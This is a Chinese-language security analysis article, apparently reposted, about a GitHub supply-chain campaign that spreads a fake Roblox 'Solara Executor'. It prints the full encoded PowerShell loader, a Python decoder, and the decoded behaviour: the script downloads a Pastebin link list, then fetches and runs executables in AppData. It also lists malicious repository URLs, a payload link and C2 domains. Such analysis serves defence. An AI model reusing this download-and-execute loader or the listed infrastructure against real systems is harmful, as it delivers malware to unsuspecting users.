GitHub 上的投毒攻击事件剖析

admin 2025年4月6日19:33:56评论13 views字数 5096阅读16分59秒阅读模式
Solara Executor 是一款针对 Roblox 平台的脚本执行器,宣称具备卓越的脚本执行能力、出色的性能以及简洁直观的操作界面,还强调与 Roblox 的最新版本完全兼容,为游戏玩家、开发人员和模组制作者提供高安全性与便捷性。然而,这款软件却被不法分子利用,在 GitHub 上实施投毒攻击。

攻击链路概述

本次攻击的具体流程涉及多个环节,从在 GitHub 上传播恶意文件,到执行恶意脚本,再到下载更多恶意程序并进行数据外联,形成了一条完整的恶意攻击链路。

GitHub 上的投毒攻击事件剖析

GitHub 账号分析

多个涉及此次攻击的 GitHub 账号均于 2025 年 3 月 13 - 14 日新建,账号信息如下:

https://github.com/averhrs/SolaraExecutor-V3https://github.com/provvsh/SolaraExecutor-V3https://github.com/EightS09/SolaraExecutor-V3https://github.com/verrtsh/SolaraExecutor-V3

这些账号创建时间集中且均为公开仓库,首次创建的项目均为 SolaraExecutor-V3,账号创建时间的异常集中暗示其存在恶意目的的可能性。

GitHub 上的投毒攻击事件剖析GitHub 上的投毒攻击事件剖析GitHub 上的投毒攻击事件剖析

攻击详情

用户从 GitHub 上下载并运行 Solara V3.exe 后,会触发一段恶意的 PowerShell 脚本执行。该脚本通过 Loader.exe 进程调用 PowerShell 执行,具体执行命令为:

"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" -EncodedCommand PAAjAGwAYgBnACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGwAcgBmACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAG0AZgBrACMAPgA7ACIAOwA8ACMAbQBxAHgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBwAHAAYQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBjAGYAYQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB5AGoAdAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AbQB1AEQAVQB1AGUATABOACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAcwBzAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB4AGoAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBrAHgAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcgB0AGsAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdwBtAHkAIwA+

对这段经过编码的 PowerShell 命令进行解密(使用 Python 代码实现):

import base64encoded_command = "PAAjAGwAYgBnACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBEAHIAaQB2AGUAKQAgADwAIwBjAGYAYQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB5AGoAdAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AbQB1AEQAVQB1AGUATABOACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAcwBzAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB4AGoAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBrAHgAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcgB0AGkAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdwBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGYAYQBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBmAGcAZgAjAD4A"decoded_bytes = base64.b64decode(encoded_command)decoded_command = decoded_bytes.decode('utf-16')print(decoded_command)

解密后的脚本会执行以下恶意操作:首先创建一个System.Net.WebClient 对象,从指定的 URLhttps://pastebin.com/raw/muDUeLN )下载文本内容。接着,将下载的文本按换行符分割得到多个链接。然后生成一个随机文件名,通过循环遍历分割得到的链接,把每个链接指向的文件下载到用户应用数据目录下,下载的文件名由随机文件名、序号和.exe 扩展名组成。

GitHub 上的投毒攻击事件剖析

其中,从链接(https://github.com/1tthens1/PMI/raw/rets/heads/main/DEVM26.exe)下载的 DEVM26.exe 文件,在本地运行后会自动注入内存数据。

外联地址:

https://menuedgarli.shop/apihttps://featureccus.shop/apihttps://mrodularmall.top/apihttps://jowinjoinery.icu/apihttps://legenassedk.top/apihttps://htardwarehu.icu/apihttps://1cjlaspcorne.icu/apihttps://bugildbett.top/apihttps://latchclan.shop/api

原文始发于微信公众号(Khan安全团队):GitHub 上的投毒攻击事件剖析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
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  • 本文由 发表于 2025年4月6日19:33:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GitHub 上的投毒攻击事件剖析http://cn-sec.com/archives/3920325.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

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